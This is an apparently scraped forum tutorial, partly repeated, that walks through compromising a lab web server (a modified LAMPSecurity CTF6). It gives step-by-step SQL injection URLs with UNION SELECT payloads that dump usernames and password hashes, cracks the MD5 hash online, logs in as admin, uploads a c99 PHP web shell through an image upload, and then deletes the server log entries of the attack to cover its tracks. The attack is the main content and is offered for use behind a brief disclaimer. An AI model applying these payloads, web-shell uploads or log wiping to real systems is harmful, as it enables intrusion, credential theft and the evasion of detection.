Hi All,
In this tutorial we will be rooting a vulnerable web server using Mantra Security Toolkit.
What all you need
1. Mantra Security Toolkit - Download
2. A vulnerable website. I'm using a modified version of LAMPSecurity CTF6
3. Any PHP Shell you are comfortable with
- Google for "c99 shell"
Now the process
Step 1:
I'm on the home page of the website now
![[Image: Hackerlaxu1.jpg]](https://lh3.googleusercontent.com/blogger_img_proxy/AEn0k_vmBHfNfB-Rx-0xU8hqfP6-WIpu-KVlygwjNMr25vp7NmK8qU1gcv3YA4QoucwGyy_JzDf60nFZLoU5txWI0fr8K-_aAzEECsE4lZ7zgg5a3bU3J34zEa2-pWNMuBFOKvKoY6oSyfVObxc5ykWeBBcnwurXcIo7ST3TJ62dEIJSq44o=s0-d)
Step 2:
I went through all the pages of web site and found a page with URL input
![[Image: Hackerlaxu2.jpg]](https://lh3.googleusercontent.com/blogger_img_proxy/AEn0k_vII0by_vhygDW52-y5SCVo2jbgyiB4MTRuSCP6flYAz3qGPe3fwcCKtQsHptVWbjwGMfwcLHwJtWTTIgVkiMiL5tp1GFp4zgcTFZDhuSoQAjwHROxtLNFj4DadlRkz2LwkJ91CbS7LZ-Mt7ioU1g3N2DJjC1SI_fSMVJmBc2U51TApuQ=s0-d)
Step 3:
I launched Hackbar by pressing F9
![[Image: Hackerlaxu3.jpg]](https://lh3.googleusercontent.com/blogger_img_proxy/AEn0k_vjk92FpjqRMx5hzvKdmv3g2yaDIO51OauwyaVgzQTO0yGe-nNpfjllz3F6-73pTY3r8fxHHHd0-ms1LKhWpCiPn95kgbcLPMnBGNOx75izR4pOBlSxfG07ULMFK5U-OHv0M4xYs-MawwvyQlwlp1DPhImPcnGBT3HJeVoBymfvZ6vejw=s0-d)
Step 4:
The power of single quote. I'm checking the web site is vulnerable or not by putting a ' at the end of the URL and pressing Execute.
![[Image: Hackerlaxu4.jpg]](https://lh3.googleusercontent.com/blogger_img_proxy/AEn0k_tEBL_--Pb5i1xYbDTHmuP95V6xs-VETiu6_McHug2eIVONtlXPC5Ko-idXP6vFnaalCfSuVJ3itMp1XgLlfBBWf4inyFFhHLYZ5s5gQgdclLMn_BGygI5wjmHaTSOPzWuBVJrt_GsfFrOCpcfpZpbb1tw5h7tSTrG2NqkBXxX0Z1dBww=s0-d)
Since the page content is different from the previous one. I can make sure that the web page is vulnerable.
Step 5:
Lets find out the number of tables
![[Image: Hackerlaxu6.jpg]](https://lh3.googleusercontent.com/blogger_img_proxy/AEn0k_uZeqKu1G0pJquwqU22-oI2hoSdUHJaLLP5g0dxHULH-QmOUt2Xx0J6LJbomvbhASGIMW8xFMn_ow3Qr-NZBl_ao1LZq-1sf6GlUF6rP8z9jmCXTVPWRbCmEfRqqmQzybDUCLvD8miZ4onMNUP75NOtB_8XwGm4rg8FiYCYtTgkYKKYew=s0-d)
Step 6:
I have to keep on increasing the last number till I see any changes in the page. In usual practice its gonna be a tedious task since there will be hundreds and thousands of tables if not more. But with this tool I can simply press on + button till I see any changes on the webpage
![[Image: Hackerlaxu7.jpg]](https://lh3.googleusercontent.com/blogger_img_proxy/AEn0k_uWJClMb2pNW9Y1d9H6SwwwokxCuaHXU1HVU5CgkrNavd_Ug-H54StnB6zqnQKpbviSFRVdn2zYocXWY5Hb7ZUy0ecZebyDMLA0pt_suREPLCuTNT9t0JLoMZFz8EBTzQoPGFWn7mkykP6a0RfiQM3-ziRbyuW0ROdq9aJrSTBglsDh=s0-d)
Step 7:
I went up to 7 and no change till now
![[Image: Hackerlaxu12.jpg]](https://lh3.googleusercontent.com/blogger_img_proxy/AEn0k_tK7drpDEAMi-ZshEmjlDuMqqIWm-sABO-7Y8VOhIKGw1WmPfSHATe1sw3Fcc8iBaQb05esT7jKMKmrp_F1wtSls8SIXYP9q5QmKO3tyFGNItz27fPdjBuGDjYeL5GBvYRP2pHhzWsan9DYXjfO9ir1CcAvTJXRyETFEimnueUJbTPYWSw=s0-d)
Step 8:
I'm on 8 now and I can see the page changed
![[Image: Hackerlaxu13.jpg]](https://lh3.googleusercontent.com/blogger_img_proxy/AEn0k_s5qMqed820GK_aRdsn0T0iuIMDevcS1U_-SeNQgBByQuP-QFm2YOY-hs_UU_UUQwqC3eN8gyWXgqtSEYGLb9CoVbIQr6VJ40aMmF7tIZyR6Whz3cXjpBG2oY_0beEuGgdsAtypUJx0DcNTqOwwIBQuJVRHdZLd7G2Pw5WbBiqu76_mQis=s0-d)
Step 9:
Now lets go ahead and make a UNION statement. I just went to SQL > UNION SELECT STATEMENT
![[Image: Hackerlaxu14.jpg]](https://lh3.googleusercontent.com/blogger_img_proxy/AEn0k_udo2WP7htTtYt4Mv5P3VlvESVeNlyFUdlBVNIFCYIxdzwUyCPt6LYI92h0XFKL_3fJTI3E28nmdAYodHiO4vreZFEsW_k-t4vuNBOq_al5mRBciTyZz2pGiQklmxfbBUSTq8rc8Qija9ldvOyHf0hFVf3pM6IwWilIAj_wxIrnoiNFiD8=s0-d)
Step 10:
I provided the number of tables. Since I got a different page on table 8, I can make sure that table 8 does not exists and there are only 7 tables
![[Image: Hackerlaxu16.jpg]](https://lh3.googleusercontent.com/blogger_img_proxy/AEn0k_skUt6x1ijEuxwq319lDLDP4Gg3ChTBTvNiUyiWH599Zl1R7KAs1ZUovvMv1buLYl8-ea1CPWEZFcatjP9VEjwCc8BswEHVANrhDdr-Mtk1nskALFz473HIiWMb9CNpaS5MgrEQaE9_nkOPQvt2z0ey9ACDNUTgq7oxDRjd1iACEtzTcew=s0-d)
Step 11:
Wonderful. I can see some numbers on the page now. Those are the vulnerable columns. Lets take the number 2
![[Image: Hackerlaxu19.jpg]](https://lh3.googleusercontent.com/blogger_img_proxy/AEn0k_uWvfsSFWQ_TBKazL4BplfYfwH7pXVlaq4857BUfaCWFnZDdUGW9R1lJ-aM7KXT3V3p_zATEhaAhRgmQ2nBke_-PF9bO1Tlfawt3iYKP9_rVOxjTt-6TkjKJ4fv9BWhJSPPAu7_MVqhbY6XpIVJmE8U3J4tPufKONN7MOuNMGenwxWqaQ=s0-d)
Step 12:
I replaced number 2 in URL with another SQL command, it got executed and result is displayed on the page
![[Image: Hackerlaxu21.jpg]](https://lh3.googleusercontent.com/blogger_img_proxy/AEn0k_u8lzxm0hmP0xLrWnL9nKs09jId2Rs06l1n8yK4ljFARojCIeJYAaidz63d4RQvEERl_RSQQGXbPS8egOf15glJB5AOLNpS_2yYc1c9OtgTXwxuOIbVFj32-Vm1tklTyIm5ZEQMgzhA8L_N7UmzF0bCK64LOIP6dyETPMfm6-EzObCaQdI=s0-d)
The current user is cms_user@localhost
Step 13:
Lets find out the version of the database. I replaced 2 in the URL with version() command
![[Image: Hackerlaxu22.jpg]](https://lh3.googleusercontent.com/blogger_img_proxy/AEn0k_u-uyhox6CZoL9vFbpP12Pzx9B7r2SQOcybMuICBTN4FaIf3nWnMqgHoaWJ016dIxgdKqEqXG-4X4KQqF-i2tUMGQ-JMfhJPIJxS43xJrizP6dvq_Ctq1nhRWmrG_fJ6C7VjG4T8jiZu8qv8WwBABByAz_Dnp_Rz5tEIeiZWvBYqpDdYQk=s0-d)
5.0.45 is the version
Step 14:
Let me list all the tables
![[Image: Hackerlaxu23.jpg]](https://lh3.googleusercontent.com/blogger_img_proxy/AEn0k_sEWW5qoWv-JY__EULMsysYQMV3xA8rtYUjQoZ1O5TDRjXv-hdzIfFlw4wgb-L5mRktdSvCtRNlbrU4qIz3Hylqslwu-pFSfE-38JWTGahDdUdHP4Sc7pR4MVaY8ymOcRMMVMQFc8j8X1vtMKkO6ELVL3DExRt1RV_77-GT_-FxCIQA5w=s0-d)
From this list I found "user" is an interesting table
Step 15:
Now I listed all the columns and its a big list
![[Image: Hackerlaxu24.jpg]](https://lh3.googleusercontent.com/blogger_img_proxy/AEn0k_smB_W0fUHK14xmjf5cBXn_Yqgeww_Vssz9Vk839LyNPvQ7OucxrC3vqmWDry8BvG2W8fecdoVT3q--q6FIT4UgmUxz7zzTEq6i3x9PYoo-z0IJOqqu4yMUn_PJjGxaiHN_DddnFumHY18dh9Kf_maLuwefDp5nZvfqIfEO-L35xiCHTg=s0-d)
Step 16:
I want columns from the table "user" and nothing else
![[Image: Hackerlaxu25.jpg]](https://lh3.googleusercontent.com/blogger_img_proxy/AEn0k_tbEPhg5ckyqvX39OBtZTW9mrekQqSHrPIm4KaGr_KJuoP9MyA-sCOfb6w2QI-inghULHEVTNxV0Ybtd5G6LlkdCph4ZXTTY3CPVu7rC20mekFn1GaHKEYsjpb4QyXM27o-OYmfcIJpZ9Cjvaug-VCDgW1vJBOAAqjc1fKu0KNifG2BvSA=s0-d)
Step 17:
Lets find the user name
![[Image: Hackerlaxu27.jpg]](https://lh3.googleusercontent.com/blogger_img_proxy/AEn0k_uxKX_yTsPaHuFS8AbV4BlTJ2SgeB7feRba01Dq4jQYMf4BLnHgDMxIeLZpNcuo71u5SFMjlfIikFAyFSiNS0oQoZ9J3hQQmwiEK1WMtfbMl_H8-V-HDTztRQHSKeyVrGNo2nTv1zpA4uY98XayAC-50F0C1p-IZF9RMdzaE-bk8iPnNYE=s0-d)
Step 18:
Now, what about password
In this tutorial we will be rooting a vulnerable web server using Mantra Security Toolkit.
What all you need
1. Mantra Security Toolkit - Download
2. A vulnerable website. I'm using a modified version of LAMPSecurity CTF6
3. Any PHP Shell you are comfortable with
- Google for "c99 shell"
Now the process
Step 1:
I'm on the home page of the website now
Code:
http://192.168.132.128/
Step 2:
I went through all the pages of web site and found a page with URL input
Code:
http://192.168.132.128/?id=13
Step 3:
I launched Hackbar by pressing F9
Step 4:
The power of single quote. I'm checking the web site is vulnerable or not by putting a ' at the end of the URL and pressing Execute.
Code:
http://192.168.132.128/?id=13'
Since the page content is different from the previous one. I can make sure that the web page is vulnerable.
Step 5:
Lets find out the number of tables
Code:
http://192.168.132.128/?id=13 order by 1
Step 6:
I have to keep on increasing the last number till I see any changes in the page. In usual practice its gonna be a tedious task since there will be hundreds and thousands of tables if not more. But with this tool I can simply press on + button till I see any changes on the webpage
Code:
http://192.168.132.128/?id=13 order by 7
Step 7:
I went up to 7 and no change till now
Code:
http://192.168.132.128/?id=13 order by 7
Step 8:
I'm on 8 now and I can see the page changed
Code:
http://192.168.132.128/?id=13 order by 8
Step 9:
Now lets go ahead and make a UNION statement. I just went to SQL > UNION SELECT STATEMENT
Step 10:
I provided the number of tables. Since I got a different page on table 8, I can make sure that table 8 does not exists and there are only 7 tables
Step 11:
Wonderful. I can see some numbers on the page now. Those are the vulnerable columns. Lets take the number 2
Code:
http://192.168.132.128/?id=13 UNION SELECT 1,2,3,4,5,6,7
Step 12:
I replaced number 2 in URL with another SQL command, it got executed and result is displayed on the page
Code:
http://192.168.132.128/?id=13 UNION SELECT 1,user(),3,4,5,6,7
The current user is cms_user@localhost
Step 13:
Lets find out the version of the database. I replaced 2 in the URL with version() command
Code:
http://192.168.132.128/?id=13 UNION SELECT 1,version(),3,4,5,6,7
5.0.45 is the version
Step 14:
Let me list all the tables
Code:
http://192.168.132.128/?id=13 UNION SELECT 1,table_name,3,4,5,6,7 from information_schema.tables
From this list I found "user" is an interesting table
Step 15:
Now I listed all the columns and its a big list
Code:
http://192.168.132.128/?id=13 UNION SELECT 1,column_name,3,4,5,6,7 from information_schema.columns
Step 16:
I want columns from the table "user" and nothing else
Code:
http://192.168.132.128/?id=13 UNION SELECT 1,column_name,3,4,5,6,7 from information_schema.columns where table_name='user'
Step 17:
Lets find the user name
Code:
http://192.168.132.128/?id=13 UNION SELECT 1,user_username,3,4,5,6,7 from user
Step 18:
Now, what about password
Code:
http://192.168.132.128/?id=13 UNION SELECT 1,user_password,3,4,5,6,7 from user
Its encrypted
Step 19:
Decrypting the password. I copied the MD5 hash, pasted it into hackbar and went to Encryption > MD5 Menu > send to > md5.rednoize.com
Step 20:
Voila.!!! I got the password
Step 21:
Finding the log in page. Its was right in front of me
Step 22:
Logging in with the credentials I have
Step 23:
Greetings.!!!
Step 24:
I'm an admin now. Look at my powers.
Step 25:
Let me add an event
Step 26:
and of course I want to upload a picture
Step 27:
Lets see it allows me to upload the shell or not
Step 28:
Now I'm pressing on "Add Event" button
Step 29:
Nice. Looks like it's got uploaded
Step 30:
Let's see where the shell got uploaded to
Step 31:
I'm trying to get the default upload location
Step 32:
Looks like I got it
Let me click on the c9shell.php file I just uploaded
Step 33:
Voila. I have shell access
Step 34:
I simply clicked on the up button to get the root folder
Now I can do whatever I wish. Deface the website, maintaining access or what ever. But its out of the scope of current tutorial
Step 35:
What I'm interested is the log folder
Step 36:
I clicked on the log.log file and it has the logs of my noisy SQL injection attacks
Step 37:
Let me go back and edit the log file
Step 38:
I deleted complete log entries. Now saving it.
Step 39:
Nice. Log file is empty now
Step 40:
Now. Lets remove the c99 shell by pressing on Self Remove
Step 41:
Confirmed.!!!
Step 42:
OK. Good Bye C99
Step 43:
Well. It got deleted itself
Reference:
1. Infond tutorial
Happy Hacking.!!!
======================================================================
Note: This tutorial is only for
Educational Purposes, I did not take any responsibility of any misuse,
you will be solely responsible for any misuse that you do. Scanning
Server & Web Hacking is criminal activity and is punishable under
cyber crime and you may get upto 40 years of imprisonment, if got
caught in doing so.